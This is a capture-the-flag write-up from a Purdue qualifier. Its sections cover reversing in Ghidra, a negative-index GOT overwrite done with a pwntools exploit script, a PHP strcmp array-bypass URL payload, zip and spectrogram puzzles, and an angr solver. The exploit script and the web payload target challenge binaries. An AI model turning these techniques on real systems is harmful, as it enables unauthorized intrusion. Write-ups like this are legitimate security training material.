Sep 5, 2023

Purdue Raymond James Qualifier Write-up

Here we go again (rev)

File

Throw the binary into Ghidra. We see a lot of undecompiled bytecode right after INT3 opcode because apparently INT3 messes with Ghidra. Fortunately we can manually patch INT3 to NOP in Ghidra (Right Click -> Patch Instruction) and Ghidra will automatically decompile the code for us.

We see that the main function calls an AES encryption function at 0x0010138e that uses the key at 0x001040a0 and the ivec at 0x001040b0 that results from a pseudo-random generating function at 0x00101582. We also see that there is conveniently a decryption function at 0x00101436. Since we know that the flag encrypts to the data at 0x00104040, we can then use Ghidra to patch the function to do decryption for us. The final result should look like this:

We then export the program (File -> Export Program... -> Original File) and run it with the input we found at 0x00104040 to get the flag flag{Okey_Okey_Okey_I_had_to_make_a_new_challenge}.

ArraysGaloree (pwn)

Throw the binary into Ghidra:

undefined4 main(void) { int *piVar1; EVP_PKEY_CTX *in_stack_ffffffe0; int local_1c; EVP_PKEY_CTX **local_18; int local_14; undefined *local_10; local_10 = &stack0x00000004; init(in_stack_ffffffe0); printf("Enter the index to write at: "); piVar1 = &local_1c; __isoc99_scanf(&DAT_0804a02e,piVar1); if (local_1c < 8) { puts("Current array: "); for (local_14 = 0; local_14 < 8; local_14 = local_14 + 1) { piVar1 = *(int **)(array + local_14 * 4); printf("%d ",piVar1); } puts(""); printf("Enter the value to write: ",piVar1); __isoc99_scanf(&DAT_0804a02e,&stack0xffffffe0); local_18 = (EVP_PKEY_CTX **)(array + local_1c * 4); *local_18 = in_stack_ffffffe0; puts(""); } else { printf("Invalid index!"); } return 0; }

Apparently local_1c can somehow be negative, allowing us to write into GOT of puts to call the win function at 0x080491c2:

from pwnlib import * from pwn import * context.binary = e = elf.ELF('chall') array_addr = 0x0804c060 puts_addr = e.got.puts val = (puts_addr - array_addr) // 4 win_addr = 0x080491c2 r = remote(server_addr, server_port) r.send(str(val)) r.send('\n') r.send(str(win_addr)) r.send('\n') r.interactive()

Specter (misc)

Just turn on spectrogram in Audacity and there is a QR code... I somehow spent 2 hours on it :(

Corruption (misc)

Examine the file:

xxd chall.zip
00000000: 504b 0506 0a00 0000 0000 c98d 7851 677d PK..........xQg} 00000010: 1175 5500 0000 5500 0000 0800 1c00 666c .uU...U.......fl 00000020: 6167 2e74 7874 5554 0900 0392 f9bc 5f92 ag.txtUT......_. 00000030: f9bc 5f75 780b 0001 04e8 0300 0004 e803 .._ux........... 00000040: 0000 4865 7265 2069 7320 7468 6520 7365 ..Here is the se 00000050: 6372 6574 2069 6e66 6f72 6d61 7469 6f6e cret information 00000060: 3a20 5a6d 7868 5a33 7335 5a54 4d32 4d44 : ZmxhZ3s5ZTM2MD 00000070: 4134 4e44 4535 4e6d 4577 4f54 4a68 4d54 A4NDE5NmEwOTJhMT 00000080: 566a 4e57 4d30 4e47 4931 4e44 6b7a 4e47 VjNWM0NGI1NDkzNG 00000090: 4a6d 5933 303d 0a50 4b01 021e 030a 0000 JmY30=.PK....... 000000a0: 0000 00c9 8d78 5167 7d11 7555 0000 0055 .....xQg}.uU...U 000000b0: 0000 0008 0018 0000 0000 0001 0000 00ff ................ 000000c0: 8100 0000 0066 6c61 672e 7478 7455 5405 .....flag.txtUT. 000000d0: 0003 92f9 bc5f 7578 0b00 0104 e803 0000 ....._ux........ 000000e0: 04e8 0300 0050 4b03 0400 0000 0001 0001 .....PK......... 000000f0: 004e 0000 0097 0000 0000 00 .N.........

Sage to flag (crypto)

This is the same challenge from InCTF 2020 PolyRSA. See here.

Holmes (forensics)

This is the same challenge from InCTF 2020 Investigation Continues. See here.

MyPhPisGood! (web)

Source:

<?php include('flag.php'); $msg = "Jycuam9pbihjaHIob3JkKGkpXjkwKSAgZm9yIGkgaW4gJyk/ND56PT8ueig/Ky8/KS56LykzND16LDM/LSk1Lyg5P3oqOyg7Nz8uPygnKQ=="; if(!isset($_GET['viewsource'])) { die($msg); } echo "<h2>s3cur3 PHP</h2>"; echo "Hack your way to the flag (^_^)<br><br>"; highlight_file(__FILE__); if(!isset($_GET['flag'])) { die("Bye bye hacker"); } if((strcmp($_GET['flag'],$flag))) { die("Gimme flag first, then enter!!!"); } echo "Thanks for the flag :P<br><br>"; if(!isset($_GET['secret'])) { die("Bye bye hacker"); } $_p = 1729; $_l = 13; $l = strlen($_GET['secret']); $_i = intval($_GET['secret']); if($l !== $_l || $_i !== $_p) { die("System Failure Detected..."); } echo "<h3>Yaaay...you have breached the most s3cur3 PHP code</h3>"; echo "<h3>Here is your flag: ⚑ </h3>"; echo "<!--$flag-->"; ?>

Bascially the first string tells you to use viewsource. strcmp in PHP can be bypassed by passing an array into it, and the secret is easy to match. Just browse:

http://server/?viewsource&flag[]=x&secret=0000000001729

st4tic (rev)

File

Angr go brrr:

import angr import claripy ps = "./rev" p = angr.Project(ps) input_len = 0x16 flag_chars = [claripy.BVS("flag_%d" % i, 8) for i in range(input_len)] flag = claripy.Concat(*flag_chars) st = p.factory.entry_state( args=[ps, flag], env={'team_name': 'bi0s'}, add_options=angr.options.unicorn ) for k in flag_chars: st.solver.add(k < 0x7F) st.solver.add(k > 0x20) sm = p.factory.simulation_manager(st) sm.run() for y in sm.deadended: if b'flag' in y.posix.dumps(1): print(y.posix.dumps(1)) print(y.solver.eval(flag).to_bytes(0x16))
$ python3 -m IPython -i rev.py Python 3.11.4 (main, Jun 9 2023, 07:59:55) [GCC 12.3.0] Type 'copyright', 'credits' or 'license' for more information IPython 8.5.0 -- An enhanced Interactive Python. Type '?' for help. WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior. WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages. WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0000 with 70 unconstrained bytes referenced from 0x73f8b0 (getenv+0x0 in libc.so.6 (0x3f8b0)) WARNING | 2023-09-05 13:42:41,323 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0046 with 10 unconstrained bytes referenced from 0x7a6d00 (strncmp+0x0 in libc.so.6 (0xa6d00)) WARNING | 2023-09-05 13:42:41,817 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefea6 with 10 unconstrained bytes referenced from 0x7a6ac0 (strlen+0x0 in libc.so.6 (0xa6ac0)) WARNING | 2023-09-05 13:42:41,818 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefec7 with 5 unconstrained bytes referenced from 0x7a6ac0 (strlen+0x0 in libc.so.6 (0xa6ac0)) WARNING | 2023-09-05 13:42:41,818 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefee0 with 8 unconstrained bytes referenced from 0x7a6ac0 (strlen+0x0 in libc.so.6 (0xa6ac0)) b'The flag is: flag{l34rn_7h3_b451c5_f1r57}' b'l34rn_7h3_b451c5_f1r57' In [1]: